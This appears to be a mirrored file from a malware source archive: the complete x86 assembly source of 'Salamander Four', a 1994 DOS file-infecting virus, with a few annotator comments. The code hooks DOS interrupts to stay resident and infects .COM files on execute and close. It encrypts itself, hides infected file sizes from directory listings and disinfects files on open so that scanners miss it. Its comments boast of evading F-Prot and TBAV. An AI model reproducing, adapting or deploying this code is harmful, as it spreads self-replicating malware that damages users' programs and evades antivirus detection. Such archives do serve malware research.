mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 16:38:38 +00:00
582 lines
18 KiB
NASM
582 lines
18 KiB
NASM
.model tiny
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.code
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org 100h
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resid equ 3099h
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fileid equ 's'
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time_stamp equ 10001b ;stealth marker...
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host:
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jmp short entry
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db 90h,fileid
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vstart:
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entry:
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call $+3
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gd:
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mov si,sp
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mov bp, word ptr [si]
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sub bp,offset gd
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lea si, [bp+offset vstart]
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call decrypt ;this call will probably trigger fprot!
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;but tbav doesn't note shit...
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encrypted_start:
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mov ax,resid
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int 21h
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cmp ax,bx
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je alreadyres ;check if already resident
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gores:
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mov ax,ds ;ds=psp
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dec ax
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mov ds,ax ;ds=mcb
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xor di,di
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cmp byte ptr ds:[di],'Z' ;end of chain ?
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jne nomem
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sub word ptr ds:[di+3],(hend-vstart)/16+1 ;sub dos memory
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sub word ptr ds:[di+12h],(hend-vstart)/16+1 ;get tom from PSP:2 and
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mov ax, word ptr ds:[di+12h] ;sub
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mov es,ax ;es=virus segment...
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push cs
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pop ds
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copy2mem:
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cld
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lea si,[bp+offset vstart]
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xor di,di
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mov cx,(vend-vstart)/2+1
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rep movsw ;copy virus to
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;allocated memory
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hook21h:
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xor ax,ax
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mov ds,ax ;ds points to int-table
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push ds
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lds ax,ds:[21h*4]
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mov word ptr es:[o21ho-vstart],ax
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mov word ptr es:[o21hs-vstart],ds ;store int 21h's vector
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pop ds ;ds=0
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mov word ptr ds:[21h*4],0
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mov word ptr ds:[21h*4+2],1eh ;seg of hole in mem...
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mov byte ptr ds:[1e0h],0eah ;jmp dword ptr
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mov word ptr ds:[1e1h],(n21h-vstart) ; es:n21-vstart
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mov word ptr ds:[1e3h],es ;this makes i21h's
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;vector
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;point to 0eh:0h and
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;thats were we placed
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;a jmp far to
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;es:(n21h-vstart) ;))
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nomem:
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alreadyres:
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return_com:
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inc sp ;this is to restore the sp to 0fffeh, done b'cos
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inc sp ;of the delta offset calc in the begining...
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;don't know if it's nessesary thou...
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push cs cs ;cs=ds=es
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pop es ds
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mov di,100h
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push di
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lea si,[bp+offset hbytes]
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movsw
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movsw
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ret ; jmp 100h to start host
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;-----------------------------------------------------------------------------
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; This is our new int 24h handler. ie. our new critical error handler
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; it'll assume no error
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n24h:
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mov al,0
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iret
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;-----------------------------------------------------------------------------
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;new int 21h handler
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; TU>
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; This is totally fucked up, he could have used
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; direct-jumps for example the stealth-routines,
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; but since this is an early beta, he didn't ;).
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; Thrust me, this was fixed, too.
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n21h:
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cmp ax,resid
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jne exec
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mov bx,resid
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iret ;so virus wont load resident twice+
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exec:
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cmp ax,4b00h
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jne cinfect
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jmp infect
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cinfect:
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cmp ah,3eh ;close ?
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jne odisinf
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jmp close_infect ;infect!
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odisinf:
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cmp ah,3dh
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jne ext_open
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jmp open_disinfect ;if it's a file open, then disinfect!
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ext_open:
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cmp ax,6c00h
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jne _11
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jmp extended_open ;if it's a extended open (F-prot for example...)
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_11:
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cmp ah,11h
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jne _12
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jmp short fcb_stealth ;stealth during a dos-dir, find first via handles
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_12:
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cmp ah,12h
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jne _4e
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jmp short fcb_stealth ;stealth during a dos-dir, find next
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_4e:
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cmp ah,4eh
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jne _4f
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jmp short handle_stealth ;stealth during normal find first
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_4f:
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cmp ah,4fh
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jne o21h
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jmp short handle_stealth ;stealth during normal find next
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o21h: db 0eah
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o21ho dw 0
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o21hs dw 0 ;jmp far o21hs:o21ho
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ret ;used for calls to old int 21h...
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;-----------------------------------------------------------------------------
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;This routine will hide the size-increase of an infected .com when using
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; 11h/12h or 4eh/4fh
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; TU>
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; I believe these two routines were put togheter into one in a latter
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; version.. Sorry ;).
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fcb_stealth: ;11h/12h
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pushf
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push cs
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call o21h ;fake a call to old int handler
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or al,al
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jnz stealth_error
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pushf
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push ax bx es ;dont destroy
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mov ah,51h
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int 21h ;get psp addr.
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mov es,bx
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cmp bx,es:[16h] ;dos calling?
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jne dont_stealth
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mov bx,dx
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mov al,[bx] ;current drive, if al=ffh then ext.fcb
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push ax
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mov ah,2Fh
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int 21h ;get dta addr. es:bx
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pop ax
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inc al ;if al=ffh => al=00
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jnz regular_fcb ;if al=00 then it's an extended fcb
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add bx,7 ;skip dos-reserved and attribs...
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regular_fcb:
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add bx,3 ;the byte diffrence between the offset
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;to the filesize using fcb/handles
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mov ax,es:[bx+14h] ;ax=timestamp (14h+3=17h ;)
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jmp short stealth_it ;hide the size
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handle_stealth: ;4e/4f
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pushf
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push cs
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call o21h ;fake int call
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jc stealth_error ;there was an error so don't stealth
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; (such as no files to find.. )
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pushf
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push ax bx es ;save
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mov ah,2fh
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int 21h ;get dta addr., es:bx points to it...
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mov ax,es:[bx+16h] ;get time stamp
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stealth_it:
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and al,00011111b ;kill all but secs...
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xor al,time_stamp ;xor with our marker
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jnz dont_stealth ;not ours :(
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cmp word ptr es:[bx+1ah],(vend-vstart) ;if fcb bx=bx+3
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jb dont_stealth ;too small to be us...
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cmp word ptr es:[bx+1ch],0 ;if fcb bx=bx+3
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ja dont_stealth ;too large for us...>64k
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sub word ptr es:[bx+1ah],(vend-vstart) ;decrease the filesize
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sbb word ptr es:[bx+1ch],0 ; (* WHY ?? - TU *)
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dont_stealth:
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pop es bx ax
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popf
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stealth_error: ;if there was an error during int call
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stealth_done:
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retf 2
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;-----------------------------------------------------------------------------
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;This is our infection routine, ds:dx points to filename upon entry
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infect:
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push ax bx cx dx di si ds es ;don't destroy regs/segs
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mov byte ptr cs:(cflag-vstart),0 ;no closeinfection...
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xchg_i24h:
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mov ax,3524h
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int 21h ;get int 24h's vector in es:bx
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push es bx ;save es:bx so we can restore the handler...
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push ds dx cs ;save ds:dx=filename
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pop ds ;ds=cs
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mov ah,25h
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mov dx,(n24h-vstart)
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int 21h ;set int 24h's vector to our handler
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pop dx ds ;ds:dx=filename
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mov ax,4300h
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int 21h
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push cx ;get and save attribs
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mov ax,4301h
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push ax ds dx
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xor cx,cx
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int 21h ;clear attribs
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call openfile_rw ;open file r/w
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infect_close:
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push cs cs
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pop ds es ;ds=cs=es
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mov ah,3fh
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mov dx,(hbytes-vstart)
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mov cx,4
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int 21h ;read first 3 bytes
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cmp byte ptr ds:[hbytes-vstart],'M'
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je jmpclose ; *.exe
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cmp byte ptr ds:[hbytes-vstart],'Z'
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jne @okey ; *.exe
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jmpclose:
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jmp close
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@okey:
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cmp byte ptr ds:[hbytes-vstart+3],fileid
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je jmpclose ; infected by us already
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call get_name ;get filename via sft's, in es:di
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cmp word ptr es:[di],'OC' ;command.com
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je jmpclose ;then close the file...
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mov ax,5700h
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int 21h
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push cx dx ;read files time/date and save them
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Call Go_eof ;go to end of file... ax=filesize on
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;return
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cmp ax,1024
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jb restore
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cmp ax,63000
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ja restore ;too small/large ?
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sub ax,3 ;jmp entry
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mov word ptr ds:[nbytes-vstart+1],ax ;save jmp loc
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get_encval:
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mov ah,2ch
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int 21h
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or dl,dl
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jz get_encval ;get new value if enc_val=0
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mov word ptr ds:[encval-vstart],dx ;save it.
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copy2buf:
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cld
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mov ax,8d00h
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mov es,ax ;es=8d00h
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xor si,si
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xor di,di
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mov cx,(vend-vstart)/2+1
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rep movsw ;copy virus to encbuf
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enc_buf:
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mov si,(encrypted_start-vstart)
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call encrypt ;encrypt es:si
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write:
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push es
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pop ds ;es=ds=8d00h
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mov ah,40h
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mov cx,(vend-vstart)
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cwd ;write from 8d00h:0000h
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int 21h ;write encrypted virus to file
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push cs
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pop ds ;cs=ds
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xor ax,ax
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call move_fp ;go to begining of file
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mov ah,40h
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mov cx,4
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mov dx,(nbytes-vstart)
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int 21h ;write jmp to virus entry
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restore:
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mov ax,5701h
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pop dx cx
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and cl,11100000b ;zero sec's
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or cl,time_stamp ;mark with our infection marker
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int 21h ;restored files time/date stamp
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close:
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cmp byte ptr cs:(cflag-vstart),1 ;if it is a infection on
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je goon2 ;close don't close file...
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;and don't restore attribs
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mov ah,3eh
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int 21h
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pop dx ds ax cx ;restore ax=4301h, ds:dx=filename
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int 21h
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restore_i24h:
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mov ax,2524h
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pop dx ds ;ds:dx points to old int 24h
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int 21h ;handler
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goon2:
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mov byte ptr cs:(cflag-vstart),0 ;no close infection anymore
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dah: pop es ds si di dx cx bx ax ;restore all segs/regs
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duh: jmp o21h ;do old int 21h
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;-----------------------------------------------------------------------------
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close_infect:
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cmp bx, 4 ;don't close AUX/NULL/CON...
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jbe duh ;jmp to jmp to org 21h ;)
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push ax bx cx dx di si ds es ;don't destroy regs/segs
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call get_name
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add di,8 ;es:di file ext
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cmp word ptr es:[di],'OC'
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jne noclose
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cmp word ptr es:[di+2],'M'
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jne noclose
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mov byte ptr es:[di-26h],2 ;mark file as open in r/w mode
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xor ax,ax
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call move_fp ;go to begining of file
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mov byte ptr cs:(cflag-vstart),1 ;mark it as a close infection...
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jmp infect_close
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noclose:
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jmp short dah
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pop es ds si di dx cx bx ax ;restore all segs/regs
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jmp o21h
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;-----------------------------------------------------------------------------
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;This routine will disinfect an infected .com file on open!
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extended_open:
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cmp dx,1
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je yessir
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jmp o21h ;don't do anything...
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yessir:
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mov ah,3dh
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mov al,bl
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mov dx,si ;filename ds:si=ds:dx...
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mov byte ptr cs:(oflag-vstart),1
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open_disinfect: ;ds:dx=filename...
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push ax bx cx dx di si ds es ;save all regs/segs...
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push ds
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pop es ;ds=es
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mov cx,64 ;path+fname= max 65
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mov di,dx ;offs to filename
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mov al,'.' ;look for '.'
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repne scasb ;repeat scansingel byte until cx=0
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;offset to '.'+1 in di
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cmp word ptr ds:[di],'OC'
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je smallc
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cmp word ptr ds:[di],'oc'
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jne nocom
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smallc:
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cmp byte ptr ds:[di+2],'M'
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je openfile
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cmp byte ptr ds:[di+2],'m'
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je openfile ;check if it's a com or COM
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nocom:
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jmp no_opendis
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openfile:
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call openfile_rw ;open file r/w
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push cs cs
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pop ds es ;cs=ds=es
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mov ax,5700h
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int 21h
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push cx dx ;save time/date
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read_f4:
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mov ah,3fh
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mov cx,4
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mov dx,(hbytes-vstart) ;use hbytes it won't be at first...
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int 21h ;read first 4 bytes...
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chk_markers:
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cmp byte ptr ds:[hbytes-vstart+3],fileid ;ie. our marker
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jne close_dis
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cmp byte ptr ds:[hbytes-vstart],0e9h ;check if it is a jmp.
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jne close_dis ;if itsn't it can't be us...
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call go_eof ;go to end of file,
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;ax=fsize on return
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mov dx,ax ;store fsize in dx too
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sub ax,(vend-entry+3)
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cmp word ptr ds:[hbytes-vstart+1],ax ;check if the jmp is to
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jne close_dis ;our supposed entry point
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push dx ;push fsize
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xor ax,ax
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sub dx,(vend-hbytes) ;goto hbytes offs. in file
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call go_to
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mov ah,3fh
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mov cx,4
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mov dx,(hbytes-vstart)
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int 21h ;store bytes read in memory
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xor ax,ax
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call move_fp ;go tof
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mov ah,40h
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mov dx,(hbytes-vstart)
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mov cx,4
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int 21h
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pop dx
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sub dx,(vend-vstart) ;dx=size of original file
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xor ax,ax
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call go_to ;go to bof+cx:dx ie
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;fsize-vsize
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mov ah,40h
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xor cx,cx
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int 21h ;trunc file....
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close_dis:
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mov ax,5701h
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pop dx cx
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int 21h ;restore time/date
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mov ah,3eh
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pushf
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push cs
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call o21h ;close file
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no_opendis: ;the file was never opened
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pop es ds si di dx cx bx ax ;restore all segs/regs
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cmp byte ptr cs:(oflag-vstart),1
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jne @dduh
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mov ax,6c00h ;restore ax
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mov dx,1 ;restore dx after
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;disinfecting...
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mov byte ptr cs:(oflag-vstart),0 ;restore to no-extended open...
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@dduh: jmp o21h
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;-----------------------------------------------------------------------------
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get_name:
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push bx
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mov ax,1220h ;get jft for handle at es:di
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int 2fh
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mov ax,1216h ;get system file table
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mov bl,byte ptr es:[di] ;for handle index in bx
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int 2fh
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pop bx
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add di,20h ;es:di+20h points to file fname
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ret ;return
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;-----------------------------------------------------------------------------
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go_eof:
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mov al,2
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move_fp:
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cwd
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go_to:
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xor cx,cx
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mov ah,42h
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int 21h
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ret
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;-----------------------------------------------------------------------------
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;Open file proc. via call to original int 21h... only saves 2 bytes or sumthin
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;ds:dx->filename
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Openfile_rw:
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mov ax,3d02h
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pushf
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push cs
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call o21h
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xchg bx,ax
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ret ;return to caller with filehandle in bx...
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;-----------------------------------------------------------------------------
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;DATA AREA
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oflag db 0 ;extended open marker
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cflag db 0 ;close infection marker
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tag db '[- Salamander Four -] (c) by Blonde in 1994'
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nbytes db 0e9h,0,0,fileid ;newbytes
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;-----------------------------------------------------------------------------
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encrypt_end:
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hbytes db 0cdh,20h,0,0 ;HOSTbytes, not ecrypted due to disinfect
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;-----------------------------------------------------------------------------
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encrypt:decrypt:
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mov cx,(encrypt_end-encrypted_start)/2
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xorl:
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db 26h
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db 81h,34h
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encval dw 0 ;xor es:[si],encval
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inc si
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inc si
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loop xorl
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ret
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vend: ;end of virus code excluding heap
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|
hstart:
|
|
hend: ;end of virus code including heap
|
|
end host
|
|
================================================================================
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